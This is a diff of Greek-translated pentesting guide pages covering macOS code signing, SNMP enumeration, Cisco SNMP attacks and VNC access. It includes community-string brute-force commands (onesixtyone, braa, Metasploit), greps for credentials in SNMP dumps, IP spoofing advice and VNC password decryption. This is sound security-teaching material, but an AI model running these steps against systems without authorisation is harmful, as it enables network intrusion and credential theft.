{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -246,7 +246,7 @@ designated => identifier "org.whispersystems.signal-desktop" and anchor apple ge
Σημειώστε πώς αυτές οι υπογραφές μπορούν να ελέγξουν πράγματα όπως πληροφορίες πιστοποίησης, TeamID, IDs, δικαιώματα και πολλά άλλα δεδομένα. Σημειώστε πώς αυτές οι υπογραφές μπορούν να ελέγξουν πράγματα όπως πληροφορίες πιστοποίησης, TeamID, IDs, δικαιώματα και πολλά άλλα δεδομένα.
{% endhint %} {% endhint %}
Επιπλέον, είναι δυνατόν να δημιουργηθούν κάποιες συμπιεσμένες απαιτήσεις χρησιμοποιώντας το εργαλείο `csreq`: Επιπλέον, είναι δυνατόν να δημιουργηθούν κάποιες μεταγλωττισμένες απαιτήσεις χρησιμοποιώντας το εργαλείο `csreq`:
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -298,13 +298,13 @@ od -A x -t x1 /tmp/output.csreq
* **`SecCodeCopyGuestWithAttributes`**: Δημιουργεί ένα `SecCodeRef` που αντιπροσωπεύει ένα αντικείμενο κωδικού με βάση συγκεκριμένα χαρακτηριστικά, χρήσιμο για sandboxing. * **`SecCodeCopyGuestWithAttributes`**: Δημιουργεί ένα `SecCodeRef` που αντιπροσωπεύει ένα αντικείμενο κωδικού με βάση συγκεκριμένα χαρακτηριστικά, χρήσιμο για sandboxing.
* **`SecCodeCopyPath`**: Ανακτά τη διαδρομή συστήματος αρχείων που σχετίζεται με ένα `SecCodeRef`. * **`SecCodeCopyPath`**: Ανακτά τη διαδρομή συστήματος αρχείων που σχετίζεται με ένα `SecCodeRef`.
* **`SecCodeCopySigningIdentifier`**: Αποκτά τον αναγνωριστικό υπογραφής (π.χ., Team ID) από ένα `SecCodeRef`. * **`SecCodeCopySigningIdentifier`**: Αποκτά τον αναγνωριστικό υπογραφής (π.χ., Team ID) από ένα `SecCodeRef`.
* **`SecCodeGetTypeID`**: Επιστρέφει τον τύπο αναγνωριστικού για αντικείμενα `SecCodeRef`. * **`SecCodeGetTypeID`**: Επιστρέφει τον αναγνωριστικό τύπου για αντικείμενα `SecCodeRef`.
* **`SecRequirementGetTypeID`**: Λαμβάνει ένα CFTypeID ενός `SecRequirementRef`. * **`SecRequirementGetTypeID`**: Λαμβάνει ένα CFTypeID ενός `SecRequirementRef`.
#### **Σημαίες και Σταθερές Υπογραφής Κωδικού** #### **Σημαίες και Σταθερές Υπογραφής Κωδικού**
* **`kSecCSDefaultFlags`**: Προεπιλεγμένες σημαίες που χρησιμοποιούνται σε πολλές λειτουργίες του Security.framework για λειτουργίες υπογραφής κωδικού. * **`kSecCSDefaultFlags`**: Προεπιλεγμένες σημαίες που χρησιμοποιούνται σε πολλές λειτουργίες του Security.framework για λειτουργίες υπογραφής κωδικού.
* **`kSecCSSigningInformation`**: Σημαία που χρησιμοποιείται για να καθορίσει ότι οι πληροφορίες υπογραφής πρέπει να ανακτηθούν. * **`kSecCSSigningInformation`**: Σημαία που χρησιμοποιείται για να προσδιορίσει ότι οι πληροφορίες υπογραφής θα πρέπει να ανακτηθούν.
## Επιβολή Υπογραφής Κωδικού ## Επιβολή Υπογραφής Κωδικού
@ -312,7 +312,7 @@ od -A x -t x1 /tmp/output.csreq
## `cs_blobs` & `cs_blob` ## `cs_blobs` & `cs_blob`
[**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc\_internal.h#L106) δομή περιέχει τις πληροφορίες σχετικά με την εξουσιοδότηση της εκτελούμενης διαδικασίας σε αυτήν. Το `csb_platform_binary` ενημερώνει επίσης αν η εφαρμογή είναι μια πλατφόρμα binary (η οποία ελέγχεται σε διαφορετικές στιγμές από το OS για την εφαρμογή μηχανισμών ασφαλείας όπως η προστασία των δικαιωμάτων SEND στους θύρες εργασίας αυτών των διαδικασιών). [**cs\_blob**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ubc\_internal.h#L106) δομή περιέχει τις πληροφορίες σχετικά με την εξουσιοδότηση της εκτελούμενης διαδικασίας σε αυτήν. `csb_platform_binary` ενημερώνει επίσης αν η εφαρμογή είναι μια πλατφόρμα δυαδικού (η οποία ελέγχεται σε διαφορετικές στιγμές από το OS για την εφαρμογή μηχανισμών ασφαλείας όπως η προστασία των δικαιωμάτων SEND στους θύρες εργασίας αυτών των διαδικασιών).
```c ```c
struct cs_blob { struct cs_blob {
struct cs_blob *csb_next; struct cs_blob *csb_next;

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
@ -23,7 +23,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
## Basic Information ## Basic Information
**SNMP - Simple Network Management Protocol** είναι ένα πρωτόκολλο που χρησιμοποιείται για την παρακολούθηση διαφόρων συσκευών στο δίκτυο (όπως δρομολογητές, διακόπτες, εκτυπωτές, IoTs...). **SNMP - Απλό Πρωτόκολλο Διαχείρισης Δικτύου** είναι ένα πρωτόκολλο που χρησιμοποιείται για την παρακολούθηση διαφόρων συσκευών στο δίκτυο (όπως δρομολογητές, διακόπτες, εκτυπωτές, IoTs...).
``` ```
PORT STATE SERVICE REASON VERSION PORT STATE SERVICE REASON VERSION
161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public) 161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public)
@ -41,13 +41,13 @@ PORT STATE SERVICE REASON VERSION
**Object Identifiers (OIDs)** παίζουν κρίσιμο ρόλο. Αυτοί οι μοναδικοί αναγνωριστές έχουν σχεδιαστεί για να διαχειρίζονται αντικείμενα εντός μιας **Βάσης Πληροφοριών Διαχείρισης (MIB)**. **Object Identifiers (OIDs)** παίζουν κρίσιμο ρόλο. Αυτοί οι μοναδικοί αναγνωριστές έχουν σχεδιαστεί για να διαχειρίζονται αντικείμενα εντός μιας **Βάσης Πληροφοριών Διαχείρισης (MIB)**.
Τα υψηλότερα επίπεδα των αναγνωριστικών αντικειμένων MIB, ή OIDs, έχουν κατανεμηθεί σε διάφορους οργανισμούς τυποποίησης. Είναι σε αυτά τα κορυφαία επίπεδα που καθορίζεται το πλαίσιο για τις παγκόσμιες πρακτικές και τα πρότυπα διαχείρισης. Τα υψηλότερα επίπεδα των αναγνωριστών αντικειμένων MIB, ή OIDs, έχουν κατανεμηθεί σε διάφορους οργανισμούς τυποποίησης. Είναι σε αυτά τα κορυφαία επίπεδα που καθορίζεται το πλαίσιο για τις παγκόσμιες πρακτικές και τα πρότυπα διαχείρισης.
Επιπλέον, οι προμηθευτές έχουν την ελευθερία να δημιουργούν ιδιωτικούς κλάδους. Μέσα σε αυτούς τους κλάδους, έχουν την **αυτονομία να περιλαμβάνουν διαχειριζόμενα αντικείμενα που σχετίζονται με τις δικές τους γραμμές προϊόντων**. Αυτό το σύστημα διασφαλίζει ότι υπάρχει μια δομημένη και οργανωμένη μέθοδος για την αναγνώριση και τη διαχείριση μιας ευρείας γκάμας αντικειμένων σε διάφορους προμηθευτές και πρότυπα. Επιπλέον, οι προμηθευτές έχουν την ελευθερία να δημιουργούν ιδιωτικούς κλάδους. Μέσα σε αυτούς τους κλάδους, έχουν την **αυτονομία να περιλαμβάνουν διαχειριζόμενα αντικείμενα που σχετίζονται με τις δικές τους γραμμές προϊόντων**. Αυτό το σύστημα διασφαλίζει ότι υπάρχει μια δομημένη και οργανωμένη μέθοδος για την αναγνώριση και τη διαχείριση μιας ευρείας γκάμας αντικειμένων σε διάφορους προμηθευτές και πρότυπα.
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>) ![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
Μπορείτε να **πλοηγηθείτε** μέσω ενός **δέντρου OID** από τον ιστό εδώ: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) ή να **δείτε τι σημαίνει ένα OID** (όπως το `1.3.6.1.2.1.1`) επισκεπτόμενοι [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\ Μπορείτε να **πλοηγηθείτε** σε ένα **δέντρο OID** από τον ιστό εδώ: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) ή να **δείτε τι σημαίνει ένα OID** (όπως το `1.3.6.1.2.1.1`) επισκεπτόμενοι [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
Υπάρχουν μερικά **καλά γνωστά OIDs** όπως αυτά μέσα στο [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) που αναφέρονται σε μεταβλητές του Πρωτοκόλλου Απλής Διαχείρισης Δικτύου (SNMP) που ορίζονται από το MIB-2. Και από τα **OIDs που εκκρεμούν από αυτό** μπορείτε να αποκτήσετε μερικά ενδιαφέροντα δεδομένα φιλοξενίας (δεδομένα συστήματος, δεδομένα δικτύου, δεδομένα διαδικασιών...) Υπάρχουν μερικά **καλά γνωστά OIDs** όπως αυτά μέσα στο [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) που αναφέρονται σε μεταβλητές του Πρωτοκόλλου Απλής Διαχείρισης Δικτύου (SNMP) που ορίζονται από το MIB-2. Και από τα **OIDs που εκκρεμούν από αυτό** μπορείτε να αποκτήσετε μερικά ενδιαφέροντα δεδομένα φιλοξενίας (δεδομένα συστήματος, δεδομένα δικτύου, δεδομένα διαδικασιών...)
### **Παράδειγμα OID** ### **Παράδειγμα OID**
@ -71,7 +71,7 @@ PORT STATE SERVICE REASON VERSION
* 1452 δίνει το όνομα του οργανισμού που κατασκεύασε αυτή τη συσκευή. * 1452 δίνει το όνομα του οργανισμού που κατασκεύασε αυτή τη συσκευή.
* 1 εξηγεί τον τύπο της συσκευής. Σε αυτή την περίπτωση, είναι ένα ξυπνητήρι. * 1 εξηγεί τον τύπο της συσκευής. Σε αυτή την περίπτωση, είναι ένα ξυπνητήρι.
* 2 καθορίζει ότι αυτή η συσκευή είναι μια απομακρυσμένη μονάδα τερματικού. * 2 καθορίζει ότι αυτή η συσκευή είναι μια μονάδα απομακρυσμένου τερματικού.
Οι υπόλοιπες τιμές παρέχουν συγκεκριμένες πληροφορίες σχετικά με τη συσκευή. Οι υπόλοιπες τιμές παρέχουν συγκεκριμένες πληροφορίες σχετικά με τη συσκευή.
@ -98,7 +98,7 @@ PORT STATE SERVICE REASON VERSION
* **`public`** κυρίως **λειτουργίες μόνο για ανάγνωση** * **`public`** κυρίως **λειτουργίες μόνο για ανάγνωση**
* **`private`** **Ανάγνωση/Εγγραφή** γενικά * **`private`** **Ανάγνωση/Εγγραφή** γενικά
Σημειώστε ότι **η δυνατότητα εγγραφής ενός OID εξαρτάται από τη συμβολοσειρά κοινότητας που χρησιμοποιείται**, οπότε **ακόμα** και αν διαπιστώσετε ότι χρησιμοποιείται το "**public**", θα μπορούσατε να είστε σε θέση να **γράψετε κάποιες τιμές.** Επίσης, μπορεί να υπάρχουν αντικείμενα που είναι **πάντα "Μόνο για Ανάγνωση".**\ Σημειώστε ότι **η δυνατότητα εγγραφής ενός OID εξαρτάται από τη συμβολοσειρά κοινότητας που χρησιμοποιείται**, οπότε **ακόμα** και αν βρείτε ότι χρησιμοποιείται το "**public**", θα μπορούσατε να είστε σε θέση να **γράψετε κάποιες τιμές.** Επίσης, μπορεί να υπάρχουν αντικείμενα που είναι **πάντα "Μόνο για Ανάγνωση".**\
Αν προσπαθήσετε να **γράψετε** ένα αντικείμενο, θα λάβετε ένα σφάλμα **`noSuchName` ή `readOnly`**.\*\*.\*\* Αν προσπαθήσετε να **γράψετε** ένα αντικείμενο, θα λάβετε ένα σφάλμα **`noSuchName` ή `readOnly`**.\*\*.\*\*
Στις εκδόσεις 1 και 2/2c, αν χρησιμοποιήσετε μια **κακή** συμβολοσειρά κοινότητας, ο διακομιστής δεν θα **απαντήσει**. Έτσι, αν απαντήσει, χρησιμοποιήθηκε μια **έγκυρη συμβολοσειρά κοινότητας**. Στις εκδόσεις 1 και 2/2c, αν χρησιμοποιήσετε μια **κακή** συμβολοσειρά κοινότητας, ο διακομιστής δεν θα **απαντήσει**. Έτσι, αν απαντήσει, χρησιμοποιήθηκε μια **έγκυρη συμβολοσειρά κοινότητας**.
@ -117,7 +117,7 @@ PORT STATE SERVICE REASON VERSION
## Απαρίθμηση SNMP ## Απαρίθμηση SNMP
Συνιστάται να εγκαταστήσετε τα εξής για να δείτε τι σημαίνει **κάθε OID που συλλέγεται** από τη συσκευή: Συνιστάται να εγκαταστήσετε τα παρακάτω για να δείτε τι σημαίνει **κάθε OID που συλλέγεται** από τη συσκευή:
```bash ```bash
apt-get install snmp-mibs-downloader apt-get install snmp-mibs-downloader
download-mibs download-mibs
@ -140,7 +140,7 @@ nmap --script "snmp* and not snmp-brute" <target>
braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
``` ```
Ευχαριστώ στις εκτενείς ερωτήσεις (download-mibs), είναι δυνατή η καταμέτρηση ακόμη περισσότερων πληροφοριών σχετικά με το σύστημα με την ακόλουθη εντολή : Ευχαριστώ στις επεκταμένες ερωτήσεις (download-mibs), είναι δυνατή η καταμέτρηση ακόμη περισσότερων πληροφοριών σχετικά με το σύστημα με την ακόλουθη εντολή :
```bash ```bash
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
``` ```
@ -165,11 +165,11 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
### Παράμετροι SNMP για Microsoft Windows ### Παράμετροι SNMP για Microsoft Windows
Μια σειρά από **τιμές Management Information Base (MIB)** χρησιμοποιούνται για την παρακολούθηση διαφόρων πτυχών ενός συστήματος Windows μέσω SNMP: Μια σειρά από **τιμές Διαχείρισης Πληροφοριών Βάσης (MIB)** χρησιμοποιούνται για την παρακολούθηση διαφόρων πτυχών ενός συστήματος Windows μέσω SNMP:
* **Διεργασίες Συστήματος**: Πρόσβαση μέσω `1.3.6.1.2.1.25.1.6.0`, αυτή η παράμετρος επιτρέπει την παρακολούθηση ενεργών διεργασιών μέσα στο σύστημα. * **Διεργασίες Συστήματος**: Πρόσβαση μέσω `1.3.6.1.2.1.25.1.6.0`, αυτή η παράμετρος επιτρέπει την παρακολούθηση ενεργών διεργασιών μέσα στο σύστημα.
* **Εκτελούμενα Προγράμματα**: Η τιμή `1.3.6.1.2.1.25.4.2.1.2` έχει οριστεί για την παρακολούθηση των προγραμμάτων που εκτελούνται αυτή τη στιγμή. * **Εκτελούμενα Προγράμματα**: Η τιμή `1.3.6.1.2.1.25.4.2.1.2` έχει οριστεί για την παρακολούθηση των προγραμμάτων που εκτελούνται αυτή τη στιγμή.
* **Διαδρομές Διεργασιών**: Για να προσδιορίσετε από πού εκτελείται μια διεργασία, χρησιμοποιείται η τιμή MIB `1.3.6.1.2.1.25.4.2.1.4`. * **Διαδρομή Διεργασιών**: Για να προσδιορίσετε από πού εκτελείται μια διεργασία, χρησιμοποιείται η τιμή MIB `1.3.6.1.2.1.25.4.2.1.4`.
* **Μονάδες Αποθήκευσης**: Η παρακολούθηση των μονάδων αποθήκευσης διευκολύνεται από το `1.3.6.1.2.1.25.2.3.1.4`. * **Μονάδες Αποθήκευσης**: Η παρακολούθηση των μονάδων αποθήκευσης διευκολύνεται από το `1.3.6.1.2.1.25.2.3.1.4`.
* **Όνομα Λογισμικού**: Για να προσδιορίσετε το λογισμικό που είναι εγκατεστημένο σε ένα σύστημα, χρησιμοποιείται το `1.3.6.1.2.1.25.6.3.1.2`. * **Όνομα Λογισμικού**: Για να προσδιορίσετε το λογισμικό που είναι εγκατεστημένο σε ένα σύστημα, χρησιμοποιείται το `1.3.6.1.2.1.25.6.3.1.2`.
* **Λογαριασμοί Χρηστών**: Η τιμή `1.3.6.1.4.1.77.1.2.25` επιτρέπει την παρακολούθηση των λογαριασμών χρηστών. * **Λογαριασμοί Χρηστών**: Η τιμή `1.3.6.1.4.1.77.1.2.25` επιτρέπει την παρακολούθηση των λογαριασμών χρηστών.
@ -185,7 +185,7 @@ snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
## Από SNMP σε RCE ## Από SNMP σε RCE
Αν έχετε την **κοινότητα string** που σας επιτρέπει να **γράφετε τιμές** μέσα στην υπηρεσία SNMP, μπορεί να είστε σε θέση να την εκμεταλλευτείτε για να **εκτελείτε εντολές**: Αν έχετε την **κοινότητα string** που σας επιτρέπει να **γράφετε τιμές** μέσα στην υπηρεσία SNMP, μπορεί να είστε σε θέση να την εκμεταλλευτείτε για να **εκτελέσετε εντολές**:
{% content-ref url="snmp-rce.md" %} {% content-ref url="snmp-rce.md" %}
[snmp-rce.md](snmp-rce.md) [snmp-rce.md](snmp-rce.md)
@ -207,13 +207,13 @@ braa ignite123@192.168.1.125:.1.3.6.*
### **Συσκευές** ### **Συσκευές**
Η διαδικασία ξεκινά με την εξαγωγή των **sysDesc MIB δεδομένων** (1.3.6.1.2.1.1.1.0) από κάθε αρχείο για να προσδιοριστούν οι συσκευές. Αυτό επιτυγχάνεται μέσω της χρήσης μιας **εντολής grep**: Η διαδικασία ξεκινά με την εξαγωγή των **sysDesc MIB δεδομένων** (1.3.6.1.2.1.1.1.0) από κάθε αρχείο για να προσδιορίσουμε τις συσκευές. Αυτό επιτυγχάνεται μέσω της χρήσης μιας **εντολής grep**:
```bash ```bash
grep ".1.3.6.1.2.1.1.1.0" *.snmp grep ".1.3.6.1.2.1.1.1.0" *.snmp
``` ```
### **Εντοπισμός Ιδιωτικής Συμβολοσειράς** ### **Εντοπισμός Ιδιωτικής Συμβολοσειράς**
Ένα κρίσιμο βήμα περιλαμβάνει τον εντοπισμό της **ιδιωτικής κοινότητας συμβολοσειράς** που χρησιμοποιούν οι οργανισμοί, ιδιαίτερα σε δρομολογητές Cisco IOS. Αυτή η συμβολοσειρά επιτρέπει την εξαγωγή των **τρέχουσων ρυθμίσεων** από τους δρομολογητές. Ο εντοπισμός συχνά βασίζεται στην ανάλυση των δεδομένων SNMP Trap για τη λέξη "trap" με μια **εντολή grep**: Ένα κρίσιμο βήμα περιλαμβάνει τον εντοπισμό της **ιδιωτικής συμβολοσειράς κοινότητας** που χρησιμοποιούν οι οργανισμοί, ιδιαίτερα σε δρομολογητές Cisco IOS. Αυτή η συμβολοσειρά επιτρέπει την εξαγωγή των **τρέχουσων ρυθμίσεων** από τους δρομολογητές. Ο εντοπισμός συχνά βασίζεται στην ανάλυση των δεδομένων SNMP Trap για τη λέξη "trap" με μια **εντολή grep**:
```bash ```bash
grep -i "trap" *.snmp grep -i "trap" *.snmp
``` ```
@ -225,7 +225,7 @@ grep -i "login\|fail" *.snmp
``` ```
### **Emails** ### **Emails**
Τέλος, για να εξαγάγουμε **διευθύνσεις email** από τα δεδομένα, χρησιμοποιείται μια **εντολή grep** με μια κανονική έκφραση, εστιάζοντας σε μοτίβα που ταιριάζουν σε μορφές email: Τέλος, για να εξαγάγουμε **διευθύνσεις email** από τα δεδομένα, χρησιμοποιείται μια **εντολή grep** με μια κανονική έκφραση, εστιάζοντας σε μοτίβα που ταιριάζουν με τις μορφές email:
```bash ```bash
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
``` ```
@ -235,7 +235,7 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
## Spoofing ## Spoofing
Εάν υπάρχει μια ACL που επιτρέπει μόνο σε ορισμένες διευθύνσεις IP να ερωτούν την υπηρεσία SMNP, μπορείτε να spoofάρετε μία από αυτές τις διευθύνσεις μέσα στο πακέτο UDP και να καταγράψετε την κίνηση. Αν υπάρχει μια ACL που επιτρέπει μόνο σε ορισμένες διευθύνσεις IP να ερωτούν την υπηρεσία SMNP, μπορείτε να spoofάρετε μία από αυτές τις διευθύνσεις μέσα στο πακέτο UDP και να καταγράψετε την κίνηση.
## Εξέταση αρχείων ρύθμισης SNMP ## Εξέταση αρχείων ρύθμισης SNMP
@ -243,9 +243,9 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
* snmpd.conf * snmpd.conf
* snmp-config.xml * snmp-config.xml
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Εάν σας ενδιαφέρει μια **καριέρα hacking** και να χακάρετε το αχάκωτο - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραπτή και προφορική πολωνική_). Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το μη χακάρισμα - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραφή και ομιλία στα πολωνικά_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
@ -23,9 +23,9 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
## Pentesting Cisco Networks ## Pentesting Cisco Networks
**SNMP** λειτουργεί μέσω UDP με θύρες 161/UDP για γενικά μηνύματα και 162/UDP για trap μηνύματα. Αυτό το πρωτόκολλο βασίζεται σε κοινότητες strings, που λειτουργούν ως κωδικοί πρόσβασης που επιτρέπουν την επικοινωνία μεταξύ SNMP agents και servers. Αυτές οι strings είναι καθοριστικές καθώς προσδιορίζουν τα επίπεδα πρόσβασης, συγκεκριμένα **μόνο ανάγνωση (RO) ή ανάγνωση-γραφή (RW) δικαιώματα**. Ένας αξιοσημείωτος επιθετικός παράγοντας για τους pentesters είναι η **βίαιη καταναγκαστική επίθεση σε κοινότητες strings**, με στόχο την εισβολή σε δικτυακές συσκευές. **SNMP** λειτουργεί μέσω UDP με θύρες 161/UDP για γενικά μηνύματα και 162/UDP για trap μηνύματα. Αυτό το πρωτόκολλο βασίζεται σε community strings, που λειτουργούν ως κωδικοί πρόσβασης που επιτρέπουν την επικοινωνία μεταξύ SNMP agents και servers. Αυτές οι συμβολοσειρές είναι καθοριστικές καθώς προσδιορίζουν τα επίπεδα πρόσβασης, συγκεκριμένα **μόνο ανάγνωση (RO) ή ανάγνωση-εγγραφή (RW) δικαιώματα**. Ένας αξιοσημείωτος επιθετικός παράγοντας για τους pentesters είναι η **βίαιη καταναγκαστική επίθεση σε community strings**, με στόχο την εισβολή σε δικτυακές συσκευές.
Ένα πρακτικό εργαλείο για την εκτέλεση τέτοιων επιθέσεων βίαιης καταναγκαστικής είναι το [**onesixtyone**](https://github.com/trailofbits/onesixtyone), το οποίο απαιτεί μια λίστα πιθανών κοινών strings και τις διευθύνσεις IP των στόχων: Ένα πρακτικό εργαλείο για την εκτέλεση τέτοιων επιθέσεων βίαιης καταναγκαστικής είναι το [**onesixtyone**](https://github.com/trailofbits/onesixtyone), το οποίο απαιτεί μια λίστα πιθανών community strings και τις διευθύνσεις IP των στόχων:
```bash ```bash
onesixtyone -c communitystrings -i targets onesixtyone -c communitystrings -i targets
``` ```
@ -52,9 +52,9 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) * [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν ενδιαφέρεστε για **καριέρα στον hacking** και να χακάρετε το μη χακάρισμα - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραφή και ομιλία στα πολωνικά_). Αν ενδιαφέρεστε για **καριέρα στον hacking** και να χακάρετε το αχάκαρο - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραφή και ομιλία στα πολωνικά_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
@ -23,7 +23,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
## Basic Information ## Basic Information
**Virtual Network Computing (VNC)** είναι ένα ισχυρό σύστημα γραφικής επιφάνειας κοινής χρήσης που χρησιμοποιεί το πρωτόκολλο **Remote Frame Buffer (RFB)** για να επιτρέπει τον απομακρυσμένο έλεγχο και τη συνεργασία με έναν άλλο υπολογιστή. Με το VNC, οι χρήστες μπορούν να αλληλεπιδρούν απρόσκοπτα με έναν απομακρυσμένο υπολογιστή μεταδίδοντας γεγονότα πληκτρολογίου και ποντικιού αμφίδρομα. Αυτό επιτρέπει την πρόσβαση σε πραγματικό χρόνο και διευκολύνει την αποτελεσματική απομακρυσμένη βοήθεια ή συνεργασία μέσω ενός δικτύου. **Virtual Network Computing (VNC)** είναι ένα ισχυρό σύστημα κοινής χρήσης γραφικών επιφάνειας εργασίας που χρησιμοποιεί το πρωτόκολλο **Remote Frame Buffer (RFB)** για να επιτρέπει τον απομακρυσμένο έλεγχο και τη συνεργασία με έναν άλλο υπολογιστή. Με το VNC, οι χρήστες μπορούν να αλληλεπιδρούν απρόσκοπτα με έναν απομακρυσμένο υπολογιστή μεταδίδοντας γεγονότα πληκτρολογίου και ποντικιού αμφίδρομα. Αυτό επιτρέπει την πρόσβαση σε πραγματικό χρόνο και διευκολύνει την αποτελεσματική απομακρυσμένη βοήθεια ή συνεργασία μέσω ενός δικτύου.
Το VNC συνήθως χρησιμοποιεί θύρες **5800 ή 5801 ή 5900 ή 5901.** Το VNC συνήθως χρησιμοποιεί θύρες **5800 ή 5801 ή 5900 ή 5901.**
``` ```
@ -45,12 +45,12 @@ vncviewer [-passwd passwd.txt] <IP>::5901
Ο προεπιλεγμένος **κωδικός αποθηκεύεται** στο: \~/.vnc/passwd Ο προεπιλεγμένος **κωδικός αποθηκεύεται** στο: \~/.vnc/passwd
Αν έχετε τον κωδικό VNC και φαίνεται κρυπτογραφημένος (μερικά bytes, σαν να μπορούσε να είναι κρυπτογραφημένος κωδικός), πιθανότατα είναι κρυπτογραφημένος με 3des. Μπορείτε να αποκτήσετε τον καθαρό κωδικό χρησιμοποιώντας [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd) Αν έχετε τον κωδικό VNC και φαίνεται κρυπτογραφημένος (μερικά bytes, σαν να μπορούσε να είναι κρυπτογραφημένος κωδικός), πιθανότατα είναι κωδικοποιημένος με 3des. Μπορείτε να αποκτήσετε τον καθαρό κωδικό χρησιμοποιώντας [https://github.com/jeroennijhof/vncpwd](https://github.com/jeroennijhof/vncpwd)
```bash ```bash
make make
vncpwd <vnc password file> vncpwd <vnc password file>
``` ```
